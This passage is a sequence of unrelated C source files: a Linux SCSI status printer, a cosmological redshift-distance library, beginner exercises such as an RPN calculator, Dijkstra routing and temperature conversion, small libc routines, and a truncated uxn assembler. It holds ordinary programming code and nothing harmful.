// need to include the file in the build when sg_scan is built for Win32.
// Hence the following guard ...
//
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef SG_LIB_LINUX
#include "sg_io_linux.h"
/* Version 1.05 20150511 */
#ifdef __GNUC__
static int pr2ws(const char * fmt, ...)
__attribute__ ((format (printf, 1, 2)));
#else
static int pr2ws(const char * fmt, ...);
#endif
static int
pr2ws(const char * fmt, ...)
{
va_list args;
int n;
va_start(args, fmt);
n = vfprintf(sg_warnings_strm ? sg_warnings_strm : stderr, fmt, args);
va_end(args);
return n;
}
void
sg_print_masked_status(int masked_status)
{
int scsi_status = (masked_status << 1) & 0x7e;
sg_print_scsi_status(scsi_status);
}
static const char * linux_host_bytes[] = {
"DID_OK", "DID_NO_CONNECT", "DID_BUS_BUSY", "DID_TIME_OUT",
"DID_BAD_TARGET", "DID_ABORT", "DID_PARITY", "DID_ERROR",
"DID_RESET", "DID_BAD_INTR", "DID_PASSTHROUGH", "DID_SOFT_ERROR",
"DID_IMM_RETRY", "DID_REQUEUE", "DID_TRANSPORT_DISRUPTED",
"DID_TRANSPORT_FAILFAST", "DID_TARGET_FAILURE", "DID_NEXUS_FAILURE",
};
#define LINUX_HOST_BYTES_SZ \
(int)(sizeof(linux_host_bytes) / sizeof(linux_host_bytes[0]))
void
sg_print_host_status(int host_status)
{
pr2ws("Host_status=0x%02x ", host_status);
if ((host_status < 0) || (host_status >= LINUX_HOST_BYTES_SZ))
pr2ws("is invalid ");
else
pr2ws("[%s] ", linux_host_bytes[host_status]);
}
static const char * linux_driver_bytes[] = {
"DRIVER_OK", "DRIVER_BUSY", "DRIVER_SOFT", "DRIVER_MEDIA",
"DRIVER_ERROR", "DRIVER_INVALID", "DRIVER_TIMEOUT", "DRIVER_HARD",
"DRIVER_SENSE"
};
#define LINUX_DRIVER_BYTES_SZ \
(int)(sizeof(linux_driver_bytes) / sizeof(linux_driver_bytes[0]))
static const char * linux_driver_suggests[] = {
"SUGGEST_OK", "SUGGEST_RETRY", "SUGGEST_ABORT", "SUGGEST_REMAP",
"SUGGEST_DIE", "UNKNOWN","UNKNOWN","UNKNOWN",
"SUGGEST_SENSE"
};
#define LINUX_DRIVER_SUGGESTS_SZ \
(int)(sizeof(linux_driver_suggests) / sizeof(linux_driver_suggests[0]))
void
sg_print_driver_status(int driver_status)
{
int driv, sugg;
const char * driv_cp = "invalid";
const char * sugg_cp = "invalid";
driv = driver_status & SG_LIB_DRIVER_MASK;
if (driv < LINUX_DRIVER_BYTES_SZ)
driv_cp = linux_driver_bytes[driv];
sugg = (driver_status & SG_LIB_SUGGEST_MASK) >> 4;
if (sugg < LINUX_DRIVER_SUGGESTS_SZ)
sugg_cp = linux_driver_suggests[sugg];
pr2ws("Driver_status=0x%02x", driver_status);
pr2ws(" [%s, %s] ", driv_cp, sugg_cp);
}
/* Returns 1 if no errors found and thus nothing printed; otherwise
prints error/warning (prefix by 'leadin') and returns 0. */
static int
sg_linux_sense_print(const char * leadin, int scsi_status, int host_status,
int driver_status, const unsigned char * sense_buffer,
int sb_len, int raw_sinfo)
{
int done_leadin = 0;
int done_sense = 0;
scsi_status &= 0x7e; /*sanity */
if ((0 == scsi_status) && (0 == host_status) && (0 == driver_status))
return 1; /* No problems */
if (0 != scsi_status) {
if (leadin)
pr2ws("%s: ", leadin);
done_leadin = 1;
pr2ws("SCSI status: ");
sg_print_scsi_status(scsi_status);
pr2ws("\n");
if (sense_buffer && ((scsi_status == SAM_STAT_CHECK_CONDITION) ||
(scsi_status == SAM_STAT_COMMAND_TERMINATED))) {
/* SAM_STAT_COMMAND_TERMINATED is obsolete */
sg_print_sense(0, sense_buffer, sb_len, raw_sinfo);
done_sense = 1;
}
}
if (0 != host_status) {
if (leadin && (! done_leadin))
pr2ws("%s: ", leadin);
if (done_leadin)
pr2ws("plus...: ");
else
done_leadin = 1;
sg_print_host_status(host_status);
pr2ws("\n");
}
if (0 != driver_status) {
if (done_sense &&
(SG_LIB_DRIVER_SENSE == (SG_LIB_DRIVER_MASK & driver_status)))
return 0;
if (leadin && (! done_leadin))
pr2ws("%s: ", leadin);
if (done_leadin)
pr2ws("plus...: ");
else
done_leadin = 1;
sg_print_driver_status(driver_status);
pr2ws("\n");
if (sense_buffer && (! done_sense) &&
(SG_LIB_DRIVER_SENSE == (SG_LIB_DRIVER_MASK & driver_status)))
sg_print_sense(0, sense_buffer, sb_len, raw_sinfo);
}
return 0;
}
#ifdef SG_IO
int
sg_normalize_sense(const struct sg_io_hdr * hp,
struct sg_scsi_sense_hdr * sshp)
{
if ((NULL == hp) || (0 == hp->sb_len_wr)) {
if (sshp)
memset(sshp, 0, sizeof(struct sg_scsi_sense_hdr));
return 0;
}
return sg_scsi_normalize_sense(hp->sbp, hp->sb_len_wr, sshp);
}
/* Returns 1 if no errors found and thus nothing printed; otherwise
returns 0. */
int
sg_chk_n_print3(const char * leadin, struct sg_io_hdr * hp,
int raw_sinfo)
{
return sg_linux_sense_print(leadin, hp->status, hp->host_status,
hp->driver_status, hp->sbp, hp->sb_len_wr,
raw_sinfo);
}
#endif
/* Returns 1 if no errors found and thus nothing printed; otherwise
returns 0. */
int
sg_chk_n_print(const char * leadin, int masked_status, int host_status,
int driver_status, const unsigned char * sense_buffer,
int sb_len, int raw_sinfo)
{
int scsi_status = (masked_status << 1) & 0x7e;
return sg_linux_sense_print(leadin, scsi_status, host_status,
driver_status, sense_buffer, sb_len,
raw_sinfo);
}
#ifdef SG_IO
int
sg_err_category3(struct sg_io_hdr * hp)
{
return sg_err_category_new(hp->status, hp->host_status,
hp->driver_status, hp->sbp, hp->sb_len_wr);
}
#endif
int
sg_err_category(int masked_status, int host_status, int driver_status,
const unsigned char * sense_buffer, int sb_len)
{
int scsi_status = (masked_status << 1) & 0x7e;
return sg_err_category_new(scsi_status, host_status, driver_status,
sense_buffer, sb_len);
}
int
sg_err_category_new(int scsi_status, int host_status, int driver_status,
const unsigned char * sense_buffer, int sb_len)
{
int masked_driver_status = (SG_LIB_DRIVER_MASK & driver_status);
scsi_status &= 0x7e;
if ((0 == scsi_status) && (0 == host_status) &&
(0 == masked_driver_status))
return SG_LIB_CAT_CLEAN;
if ((SAM_STAT_CHECK_CONDITION == scsi_status) ||
(SAM_STAT_COMMAND_TERMINATED == scsi_status) ||
(SG_LIB_DRIVER_SENSE == masked_driver_status))
return sg_err_category_sense(sense_buffer, sb_len);
if (0 != host_status) {
if ((SG_LIB_DID_NO_CONNECT == host_status) ||
(SG_LIB_DID_BUS_BUSY == host_status) ||
(SG_LIB_DID_TIME_OUT == host_status))
return SG_LIB_CAT_TIMEOUT;
}
if (SG_LIB_DRIVER_TIMEOUT == masked_driver_status)
return SG_LIB_CAT_TIMEOUT;
return SG_LIB_CAT_OTHER;
}
#endif
|
the_stack_data/464197.c | #include <math.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
/*
* ztransform.c: utilities to convert among redshift, lookback time,
* comoving distance, volume element, enclosed volume, distance
* modulus, and angular diameter distance.
*
* Works up to redshift 10 or so.
*
* Originally started circa 1999, Michael Blanton
*
*/
#define ZRF_NUM 10000
#define ZRF_AMAX 1.
#define ZRF_AMIN 0.1
#define ZRF_C 2.99792e+5 /* in km/s */
#define LN10 2.3025851
#define TOL 1.e-6
static int zrf_initialized=0;
static float zrf_omega0;
static float zrf_omegal0;
static float zrf_z[ZRF_NUM];
static float zrf_t[ZRF_NUM];
static float zrf_r[ZRF_NUM];
static float zrf_dV[ZRF_NUM];
static float zrf_V[ZRF_NUM];
static float zrf_dm[ZRF_NUM];
static float zrf_add[ZRF_NUM];
float k_qromo(float (*func)(float), float a, float b,
float (*choose)(float(*)(float), float, float, int));
float k_midpnt(float (*func)(float), float a, float b, int n);
void k_locate(float xx[], unsigned long n, float x, unsigned long *j);
void init_zrf(float omega0, float omegal0);
float ztor_flat_integrand(float a);
float z2t_flat_integrand(float a);
float ztor_open_integrand(float a);
float z2t_open_integrand(float a);
/* Converts redshift z into comoving distance r in km/s */
float ztor(float z,
float omega0,
float omegal0)
{
unsigned long i,ip1;
float sz,r;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
r=zrf_r[i]+sz*(zrf_r[ip1]-zrf_r[i])/(zrf_z[ip1]-zrf_z[i]);
return(r);
} /* end ztor */
/* Converts redshift z to comoving volume element dV in h^{-3} Mpc^3 */
float ztodV(float z,
float omega0,
float omegal0)
{
unsigned long i,ip1;
float sz,dV;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
dV=zrf_dV[i]+sz*(zrf_dV[ip1]-zrf_dV[i])/(zrf_z[ip1]-zrf_z[i]);
return(dV);
} /* end ztodV */
/* Converts redshift z to comoving enclosed volume in h^{-3} Mpc^3 */
float ztoV(float z,
float omega0,
float omegal0)
{
unsigned long i,ip1;
float sz,V;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
V=zrf_V[i]+sz*(zrf_V[ip1]-zrf_V[i])/(zrf_z[ip1]-zrf_z[i]);
return(V);
} /* end ztodV */
/* Converts to redshift z from comoving enclosed volume in h^{-3} Mpc^3 */
float Vtoz(float V,
float omega0,
float omegal0)
{
unsigned long i,ip1;
float sV,z;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_V, ZRF_NUM, V, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sV=V-zrf_V[i];
z=zrf_z[i]+sV*(zrf_z[ip1]-zrf_z[i])/(zrf_V[ip1]-zrf_V[i]);
return(z);
} /* end ztodV */
/* Converts comoving distance r in km/s to redshift z */
float rtoz(float r,
float omega0,
float omegal0)
{
unsigned long i,ip1;
float sr,z;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_r, ZRF_NUM, r, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sr=r-zrf_r[i];
z=zrf_z[i]+sr*(zrf_z[ip1]-zrf_z[i])/(zrf_r[ip1]-zrf_r[i]);
return(z);
} /* end rotz */
/* Converts redshift z into distance modulus dm */
float z2dm(float z,
float omega0,
float omegal0)
{
unsigned long i, ip1;
float sz,dm;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, (float)z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
dm=(zrf_dm[i]+sz*(zrf_dm[ip1]-zrf_dm[i])/(zrf_z[ip1]-zrf_z[i]));
return(dm);
} /* end z2dm */
/* Converts redshift z into distance modulus dm */
float dm2z(float dm,
float omega0,
float omegal0)
{
unsigned long i, ip1;
float sdm,z;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_dm, ZRF_NUM, (float)dm, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sdm=dm-zrf_dm[i];
z=(zrf_z[i]+sdm*(zrf_z[ip1]-zrf_z[i])/(zrf_dm[ip1]-zrf_dm[i]));
return(z);
} /* end z2dm */
/* Gives the angular diameter distance in km/s at redshift z */
float z2add(float z,
float omega0,
float omegal0)
{
unsigned long i, ip1;
float sz,add;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, (float)z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
add=(zrf_add[i]+sz*(zrf_add[ip1]-zrf_add[i])/(zrf_z[ip1]-zrf_z[i]));
return(add);
} /* end z2add */
/* returns age of universe at redshift z in h^{-1} Gyrs */
float z2t(float z,
float omega0,
float omegal0)
{
unsigned long i, ip1;
float sz,t;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_z, ZRF_NUM, (float)z, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
sz=z-zrf_z[i];
t=(zrf_t[i]+sz*(zrf_t[ip1]-zrf_t[i])/(zrf_z[ip1]-zrf_z[i]));
return(t);
} /* end z2t */
/* returns age of universe at redshift z in h^{-1} Gyrs */
float t2z(float t,
float omega0,
float omegal0)
{
unsigned long i, ip1;
float st,z;
if(!zrf_initialized || omega0!=zrf_omega0 || omegal0!=zrf_omegal0)
init_zrf(omega0, omegal0);
k_locate(zrf_t, ZRF_NUM, (float)t, &i);
if(i==ZRF_NUM || i==ZRF_NUM-1) i=ZRF_NUM-2;
if(i==-1) i=0;
ip1=i+1;
st=t-zrf_t[i];
z=(zrf_z[i]+st*(zrf_z[ip1]-zrf_z[i])/(zrf_t[ip1]-zrf_t[i]));
return(z);
} /* end t2z */
float ztor_open_integrand(float a)
{
float value;
value=1./sqrt(zrf_omega0*a+(1.-zrf_omega0)*a*a);
return(value);
} /* end ztor_integrand */
float z2t_open_integrand(float a)
{
float value;
value=9.78/sqrt(zrf_omega0/a+(1.-zrf_omega0));
return(value);
} /* end ztor_integrand */
float ztor_flat_integrand(float a)
{
float a2,value;
a2=a*a;
value=1./sqrt(zrf_omega0*a+zrf_omegal0*a2*a2);
return(value);
} /* end ztor_integrand */
float z2t_flat_integrand(float a)
{
float value;
value=9.78/sqrt(zrf_omega0/a+zrf_omegal0*a*a);
return(value);
} /* end ztor_integrand */
void init_zrf(float omega0,
float omegal0)
{
float amin,DM,Eint;
unsigned long i,flag; /* flag=0 for open, 1 for flat */
if(fabs(omega0+omegal0-1.)<TOL)
flag=1;
else if (fabs(omegal0)<TOL && omega0<=1. && omega0>=0.)
flag=0;
else {
printf("omega0=%le and omegal0=%le not allowed in ztransform.c\n",
omega0,omegal0);
exit(1);
} /* end if..else */
zrf_initialized=1;
zrf_omega0=omega0;
zrf_omegal0=omegal0;
if(flag==0) {
for(i=0;i<ZRF_NUM;i++) {
amin=ZRF_AMIN+(ZRF_AMAX-ZRF_AMIN)*((float)i+0.5)/(float)ZRF_NUM;
zrf_z[i]=1./amin-1.;
Eint=k_qromo(ztor_open_integrand,amin,1.,k_midpnt);
zrf_r[i]=ZRF_C*Eint;
DM=ZRF_C*sinh(sqrt(1.-zrf_omega0)*Eint)/sqrt(1.-zrf_omega0);
zrf_dm[i]=25.+5.*log10(0.01*DM*(1.+zrf_z[i]));
zrf_add[i]=DM/(1.+zrf_z[i]);
zrf_dV[i]=1.e-6*ZRF_C*DM*DM/
sqrt(omega0*(1.+zrf_z[i])*(1.+zrf_z[i])*(1.+zrf_z[i])
+(1.-omega0)*(1.+zrf_z[i])*(1.+zrf_z[i]));
zrf_V[i]=(1.5*1.e-6*ZRF_C*ZRF_C*ZRF_C/(1.-omega0))*
(DM/ZRF_C*sqrt(1.+(1.-omega0)*DM*DM/(ZRF_C*ZRF_C))
-asinh(sqrt(1.-omega0)*DM/ZRF_C)/sqrt(1.-omega0));
zrf_t[i]=k_qromo(z2t_open_integrand,0.,amin,k_midpnt);
} /* end for */
} else {
for(i=0;i<ZRF_NUM;i++) {
amin=ZRF_AMIN+(ZRF_AMAX-ZRF_AMIN)*((float)i+0.5)/(float)ZRF_NUM;
zrf_z[i]=1./amin-1.;
zrf_r[i]=ZRF_C*k_qromo(ztor_flat_integrand,amin,1.,k_midpnt);
zrf_dm[i]=25.+5.*log10(0.01*zrf_r[i]*(1.+zrf_z[i]));
zrf_dV[i]=1.e-6*ZRF_C*zrf_r[i]*zrf_r[i]/
sqrt(omega0*(1.+zrf_z[i])*(1.+zrf_z[i])*(1.+zrf_z[i])
+omegal0);
zrf_V[i]=1.e-6*zrf_r[i]*zrf_r[i]*zrf_r[i];
zrf_add[i]=zrf_r[i]/(1.+zrf_z[i]);
zrf_t[i]=k_qromo(z2t_flat_integrand,0.,amin,k_midpnt);
} /* end for */
} /* end if..else */
} /* end init_zrf */
|
the_stack_data/37637226.c | /*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* Test that the stuct ipc_perm from sys/ipc.h is defined.
*/
#include <sys/shm.h>
struct ipc_perm this_type_should_exist;
|
the_stack_data/11074930.c | /*
URI Online Judge | 1075
Remaining 2
Adapted by Neilor Tonin, URI Brazil
https://www.urionlinejudge.com.br/judge/en/problems/view/1075
Timelimit: 1
Read an integer N. Print all numbers between 1 and 10000, which divided by N will give the rest = 2.
Input
The input is an integer N (N < 10000)
Output
Print all numbers between 1 and 10000, which divided by n will give the rest = 2, one per line.
@author Marcos Lima
@profile https://www.urionlinejudge.com.br/judge/pt/profile/242402
@status Accepted
@language C (gcc 4.8.5, -O2 -lm) [+0s]
@time 0.000s
@size 198 Bytes
@submission 12/8/19, 7:41:35 AM
*/
#include <stdio.h>
int main(void) {
short n, i = 1;
scanf("%hd", &n);
for (;i < 10000; i++) {
if (i % n == 2)
printf("%hd\n", i);
}
return 0;
} |
the_stack_data/161079839.c | #include <stdio.h>
int main() {
int i;
char char_array[5] = {'a', 'b', 'c', 'd', 'e'};
int int_array[5] = {1, 2, 3, 4, 5};
unsigned int hacky_nonpointer;
hacky_nonpointer = (unsigned int) char_array;
for(i=0; i < 5; i++) { // Iterate through the char array with an unsigned integer.
printf("[hacky_nonpointer] points to %p, which contains the char '%c'\n",
hacky_nonpointer, *((char *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(char);
}
hacky_nonpointer = (unsigned int) int_array;
for(i=0; i < 5; i++) { // Iterate through the integer array with an unsigned integer.
printf("[hacky_nonpointer] points to %p, which contains the integer %d\n",
hacky_nonpointer, *((int *) hacky_nonpointer));
hacky_nonpointer = hacky_nonpointer + sizeof(int);
}
}
|
the_stack_data/151706138.c | #include <stdio.h>
#include <stdlib.h> /* for atof() */
#define MAXOP 100 /* max size of operand or operator */
#define NUMBER '0' /* signal that a number was found */
int getop(char []);
void push(double);
double pop(void);
/* reverse Polish calculator */
main()
{
int type;
double op2;
char s[MAXOP];
while ((type = getop(s)) != EOF) {
switch (type) {
case NUMBER:
push(atof(s));
break;
case '+':
push(pop() + pop());
break;
case '*':
push(pop() * pop());
break;
case '-':
op2 = pop();
push(pop() - op2);
break;
case '/':
op2 = pop();
if (op2 != 0.0)
push(pop() / op2);
else
printf("error: zero divisor\n");
break;
case '\n':
printf("\t%.8g\n", pop());
break;
default:
printf("error: unknown command %s\n", s);
break;
}
}
return 0;
}
|
the_stack_data/198580538.c | #include<stdio.h>
#include<string.h>
int main()
{
int count,src_router,i,j,k,w,v,min;
int cost_matrix[100][100],dist[100],last[100];
int flag[100];
printf("Enter the no of routers\n");
scanf("%d",&count);
printf("\n Enter the cost matrix values:");
for(i=0;i<count;i++)
{
for(j=0;j<count;j++)
{
printf("\n%d->%d:",i,j);
scanf("%d",&cost_matrix[i][j]);
if(cost_matrix[i][j]<0)
{
cost_matrix[i][j]=1000;
}
}
}
printf("\n Enter the source router:");
scanf("%d",&src_router);
for(v=0;v<count;v++)
{
flag[v]=0;
last[v]=src_router;
dist[v]=cost_matrix[src_router][v];
}
flag[src_router]=1;
for(i=0;i<count;i++)
{
min=1000; for(w=0;w<count;w++)
{
if(!flag[w])
if(dist[w]<min)
{
v=w; min=dist[w];
}
}
flag[v]=1;
for(w=0;w<count;w++ )
{
if(!flag[w])
if(min+cost_matrix[v][w]<dist[w]) {
dist[w]=min+cost_matrix[v][w];
last[w]=v;
}
}
}
for(i=0;i<count;i++)
{
printf("\n%d==>%d:Path taken:%d",src_router,i,i);
w=i;
while(w!=src_router)
{
printf("<--%d",last[w]);
w=last[w];
} printf("\n Shortest path cost:%d",dist[i]); }
}
|
the_stack_data/871916.c | void memset(void *_ptr, unsigned char c, unsigned size)
{
unsigned char *ptr = _ptr;
while (size--)
*ptr++ = c;
}
|
the_stack_data/182953743.c | #include <stdio.h>
#include <stdlib.h>
int main(){
printf("Hello World\n");
exit(0);
}
|
the_stack_data/67323968.c | // RUN: env LIBRARY_PATH=%T/test1 %clang -x c %s -### 2>&1 | FileCheck %s
// CHECK: "-L" "{{.*}}/test1"
// GCC driver is used as linker on cygming. It should be aware of LIBRARY_PATH.
// XFAIL: cygwin,mingw32
|
the_stack_data/93871.c | #if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)strncpy.c 5.2 (Berkeley) 3/9/86";
#endif LIBC_SCCS and not lint
/*
* Copy s2 to s1, truncating or null-padding to always copy n bytes
* return s1
*/
char *
strncpy(s1, s2, n)
register char *s1, *s2;
{
register i;
register char *os1;
os1 = s1;
for (i = 0; i < n; i++)
if ((*s1++ = *s2++) == '\0') {
while (++i < n)
*s1++ = '\0';
return(os1);
}
return(os1);
}
|
the_stack_data/134582.c | main(){puts("|\\_/|\n|q p| /}\n( 0 )\"\"\"\\\n|\"^\"` |\n||_/=\\\\__|\n");} |
the_stack_data/593660.c |
enum STATE {
START,
MEDIUM,
LAST
};
int main(int argc, char**argv) {
for (enum STATE i = START; i < LAST; i++) {
int j = i;
}
return 0;
}
|
the_stack_data/75139032.c | void bonAppetit(int bill_count, int* bill, int k, int b) {
int i, r, sum=0;
for(i=0; i<bill_count; i++)
{
sum+=bill[i];
}
r = sum - bill[k];
if(r/2 == b)
printf("Bon Appetit");
else
printf("%d",bill[k]/2);
}
|
the_stack_data/103266128.c | #include <stdio.h>
/* Build: gcc -Wall -Werror Ex1-3.c */
int main()
{
float fahr, celsius;
int lower, upper, step;
lower = 0;
upper = 300;
step = 20;
printf("%3s %5s\n", "Fahr", "Cel");
celsius = lower;
while (celsius <= upper)
{
fahr = celsius * (9.0/5.0) + 32.0;
printf("%3.0f %6.0f\n", fahr, celsius);
celsius += step;
}
return 0;
}
|
the_stack_data/394296.c | #include <stdio.h>
/*
Copyright (c) 2021 Devine Lu Linvega
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE.
*/
#define TRIM 0x0100
typedef unsigned char Uint8;
typedef signed char Sint8;
typedef unsigned short Uint16;
typedef struct {
char name[64], items[256][64];
Uint8 len;
} Macro;
typedef struct {
char name[64];
Uint16 addr, refs;
} Label;
typedef struct {
Uint8 data[256 * 256], mlen;
Uint16 ptr, length, llen;
Label labels[512];
Macro macros[256];
} Program;
Program p;
static Uint16 addr = 0;
/* clang-format off */
static char ops[][4] = {
"LIT", "INC", "POP", "DUP", "NIP", "SWP", "OVR", "ROT",
"EQU", "NEQ", "GTH", "LTH", "JMP", "JCN", "JSR", "STH",
"LDZ", "STZ", "LDR", "STR", "LDA", "STA", "DEI", "DEO",
"ADD", "SUB", "MUL", "DIV", "AND", "ORA", "EOR", "SFT"
};
static int scmp(char *a, char *b, int len) { int i = 0; while(a[i] == b[i]) if(!a[i] || ++i >= len) return 1; return 0; } /* string compare */
static int sihx(char *s) { int i = 0; char c; while((c = s[i++])) if(!(c >= '0' && c <= '9') && !(c >= 'a' && c <= 'f')) return 0; return i > 1; } /* string is hexadecimal */
static int shex(char *s) { int n = 0, i = 0; char c; while((c = s[i++])) if(c >= '0' && c <= '9') n = n * 16 + (c - '0'); else if(c >= 'a' && c <= 'f') n = n * 16 + 10 + (c - 'a'); return n; } /* string to num */
static int slen(char *s) { int i = 0; while(s[i] && s[++i]) ; return i; } /* string length */
static char *scpy(char *src, char *dst, int len) { int i = 0; while((dst[i] = src[i]) && i < len - 2) i++; dst[i + 1] = '\0'; return dst; } /* string copy */
static char *scat(char *dst, const char *src) { char *ptr = dst + slen(dst); while(*src) *ptr++ = *src++; *ptr = '\0'; return dst; } /* string cat */
#pragma mark - Helpers
/* clang-format on */
#pragma mark - I/O
static Macro *
findmacro(char *name)
{
int i;
for(i = 0; i < p.mlen; ++i)
if(scmp(p.macros[i].name, name, 64))
return &p.macros[i];
return NULL;
}
static Label *
findlabel(char *name)
{
int i;
for(i = 0; i < p.llen; ++i)
if(scmp(p.labels[i].name, name, 64))
return &p.labels[i];
return NULL;
}
static Uint8
findopcode(char *s)
{
int i;
for(i = 0; i < 0x20; ++i) {
int m = 0;
if(!scmp(ops[i], s, 3))
continue;
while(s[3 + m]) {
if(s[3 + m] == '2')
i |= (1 << 5); /* mode: short */
else if(s[3 + m] == 'r')
i |= (1 << 6); /* mode: return */
else if(s[3 + m] == 'k')
i |= (1 << 7); /* mode: keep */
else
return 0; /* failed to match */
m++;
}
if(!i) i |= (1 << 7); /* force LIT nonzero (keep is ignored) */
return i;
}
return 0;
}
static void
pushbyte(Uint8 b, int lit)
{
if(lit) pushbyte(findopcode("LIT"), 0);
p.data[p.ptr++] = b;
p.length = p.ptr;
}
static void
pushshort(Uint16 s, int lit)
{
if(lit) pushbyte(findopcode("LIT2"), 0);
pushbyte((s >> 8) & 0xff, 0);
pushbyte(s & 0xff, 0);
}
static void
pushword(char *s)
{
int i = 0;
char c;
while((c = s[i++])) pushbyte(c, 0);
}
static char *
sublabel(char *src, char *scope, char *name)
{
return scat(scat(scpy(scope, src, 64), "/"), name);
}
#pragma mark - Parser
static int
error(char *name, char *msg)
{
fprintf(stderr, "%s: %s\n", name, msg);
return 0;
}
static int
makemacro(char *name, FILE *f)
{
Macro *m;
char word[64];
if(findmacro(name))
return error("Macro duplicate", name);
if(sihx(name) && slen(name) % 2 == 0)
return error("Macro name is hex number", name);
if(findopcode(name) || scmp(name, "BRK", 4) || !slen(name) || scmp(name, "include", 8))
return error("Macro name is invalid", name);
m = &p.macros[p.mlen++];
scpy(name, m->name, 64);
while(fscanf(f, "%63s", word) == 1) {
if(word[0] == '{') continue;
if(word[0] == '}') break;
if(m->len > 64)
return error("Macro too large", name);
scpy(word, m->items[m->len++], 64);
}
return 1;
}
static int
makelabel(char *name)
{
Label *l;
if(findlabel(name))
return error("Label duplicate", name);
if(sihx(name) && slen(name) % 2 == 0)
return error("Label name is hex number", name);
if(findopcode(name) || scmp(name, "BRK", 4) || !slen(name))
return error("Label name is invalid", name);
l = &p.labels[p.llen++];
l->addr = addr;
l->refs = 0;
scpy(name, l->name, 64);
return 1;
}
static int
skipblock(char *w, int *cap, char a, char b)
{
if(w[0] == b) {
*cap = 0;
return 1;
}
if(w[0] == a) *cap = 1;
if(*cap) return 1;
return 0;
}
static int
walktoken(char *w)
{
Macro *m;
if(findopcode(w) || scmp(w, "BRK", 4))
return 1;
switch(w[0]) {
case '[': return 0;
case ']': return 0;
case '\'': return 1;
case '.': return 2; /* zero-page: LIT addr-lb */
case ',': return 2; /* relative: LIT addr-rel */
case ':': return 2; /* absolute: addr-hb addr-lb */
case ';': return 3; /* absolute: LIT addr-hb addr-lb */
case '$': return shex(w + 1);
case '#': return slen(w + 1) == 4 ? 3 : 2;
case '"': return slen(w + 1);
}
if((m = findmacro(w))) {
int i, res = 0;
for(i = 0; i < m->len; ++i)
res += walktoken(m->items[i]);
return res;
}
return error("Invalid token", w);
}
static int
parsetoken(char *w)
{
Label *l;
Macro *m;
if(w[0] == '.' && (l = findlabel(w + 1))) { /* zero-page */
if(l->addr > 0xff)
return error("Address is not in zero page", w);
pushbyte(l->addr, 1);
return ++l->refs;
} else if(w[0] == ',' && (l = findlabel(w + 1))) { /* relative */
int off = l->addr - p.ptr - 3;
if(off < -126 || off > 126)
return error("Address is too far", w);
pushbyte((Sint8)off, 1);
return ++l->refs;
} else if(w[0] == ':' && (l = findlabel(w + 1))) { /* raw */
pushshort(l->addr, 0);
return ++l->refs;
} else if(w[0] == ';' && (l = findlabel(w + 1))) { /* absolute */
pushshort(l->addr, 1);
return ++l->refs;
} else if(findopcode(w) || scmp(w, "BRK", 4)) { /* opcode */
pushbyte(findopcode(w), 0);
return 1;
} else if(w[0] == '"') { /* string */
pushword(w + 1);
return 1;
} else if(w[0] == '\'') { /* char */
pushbyte((Uint8)w[1], 0);
return 1;
} else if(w[0] == '#') { /* immediate */
if(slen(w + 1) == 1)
pushbyte((Uint8)w[1], 1);
if(sihx(w + 1) && slen(w + 1) == 2)
pushbyte(shex(w + 1), 1);
else if(sihx(w + 1) && slen(w + 1) == 4)
pushshort(shex(w + 1), 1);
else
return error("Invalid hexadecimal literal", w);
return 1;
} else if(sihx(w)) { /* raw */
if(slen(w) == 2)
pushbyte(shex(w), 0);
else if(slen(w) == 4)
